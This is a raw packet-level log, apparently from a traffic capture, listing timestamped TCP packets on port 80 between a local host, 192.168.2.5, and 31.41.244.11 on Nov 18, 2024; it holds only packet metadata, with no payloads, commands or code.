Nov 18, 2024 19:04:13.357203960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357229948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.357254982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.357784986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357800007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357815027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357830048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357845068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357861042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357873917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.357876062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357892990 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357903004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.357918978 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.357938051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.358725071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.358741999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.358753920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.358772039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.358781099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.358787060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.358803034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.358812094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.358818054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.358892918 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.358892918 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.359045982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.366602898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.366683006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.366694927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.366713047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.366739035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.366753101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.367213011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.367228985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.367244959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.367265940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.367285013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.367295980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.367327929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.367347002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.367362022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.367366076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.367456913 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.367458105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.424391985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.424428940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.424447060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.424530029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.424571991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.424578905 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.424591064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.424608946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.424612999 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.424634933 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.424654007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.424890995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.424907923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.424922943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.425012112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.425334930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.425391912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.425441027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.425457954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.425493002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.425518036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.425693035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.425709009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.425810099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.425838947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.425941944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.425956964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.425971031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.426014900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.426043034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.426289082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.426305056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.426321983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.426347017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.426373959 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.472341061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.472374916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.472388983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.472489119 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.472505093 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.472522020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.472522974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.472619057 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.472702980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.472771883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.472831964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.472847939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.472883940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.472908974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.473016024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.473064899 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.473087072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.473099947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.473134041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.473149061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.473249912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.473264933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.473279953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.473298073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.473300934 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.473325014 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.473365068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.473622084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.473637104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.473651886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.473666906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.473679066 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.473711014 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.474052906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474112034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.474127054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474143028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474157095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474173069 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.474198103 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.474374056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474400043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474416018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474426985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.474431038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474450111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474469900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.474514008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.474878073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474894047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474910021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474925995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474929094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.474941015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.474951029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.474987030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.475433111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.475449085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.475461960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.475476980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.475486040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.475492954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.475505114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.475538969 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.475950003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.475966930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.475984097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476001978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476001978 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.476017952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476032972 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476035118 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.476048946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476072073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.476094007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.476758957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476774931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476789951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476807117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476821899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476820946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.476838112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476845026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.476855993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476867914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.476870060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.476902962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.476934910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.477547884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.477597952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.477602005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.477612972 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.477641106 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.477662086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.485475063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.485515118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.485531092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.485546112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.485579967 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.485579967 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.485656977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.485672951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.485688925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.485706091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.485714912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.485745907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.485986948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.486004114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.486018896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.486048937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.486068010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.486169100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.486182928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.486221075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.543231964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.543382883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.543415070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.543473005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.543482065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.543509960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.543541908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.543546915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.543576956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.543582916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.543601036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.543620110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.543627024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.543663025 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.543761969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.543797970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.543811083 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.543833017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.543843985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.543886900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.544075966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544130087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.544147015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544183016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544199944 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.544228077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.544312000 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544348001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544363976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.544384956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544395924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.544435024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.544614077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544647932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544667006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.544682980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544692039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.544723034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544737101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.544805050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544825077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.544841051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.544879913 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.545089006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.591305017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.591406107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.591444969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.591469049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.591469049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.591480017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.591495037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.591516972 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.591527939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.591556072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.591566086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.591593027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.591602087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.591638088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.591706991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.591741085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.591759920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.591775894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.591790915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.591820955 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.591960907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.591995001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592014074 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592037916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592042923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592078924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592087984 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592116117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592123985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592159986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592502117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592538118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592557907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592571974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592576981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592606068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592617035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592642069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592652082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592675924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592684031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592710018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592720032 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592742920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592756987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592776060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592789888 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592814922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.592820883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.592859030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.593280077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.593331099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.593332052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.593365908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.593381882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.593400002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.593411922 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.593434095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.593445063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.593467951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.593480110 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.593502045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.593513012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.593539000 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.593548059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.593571901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.593584061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.593606949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.593619108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.593651056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594109058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.594161987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.594167948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594197035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.594207048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594230890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.594240904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594264984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.594273090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594299078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.594316006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594332933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.594353914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594364882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.594377041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594398975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.594408035 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594433069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.594444036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594469070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.594475985 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594516039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.594983101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.595016003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.595047951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.595069885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.595076084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.595104933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.595132113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.595139027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.595159054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.595172882 CET	80	49977	31.41.244.11	192.168.2.5
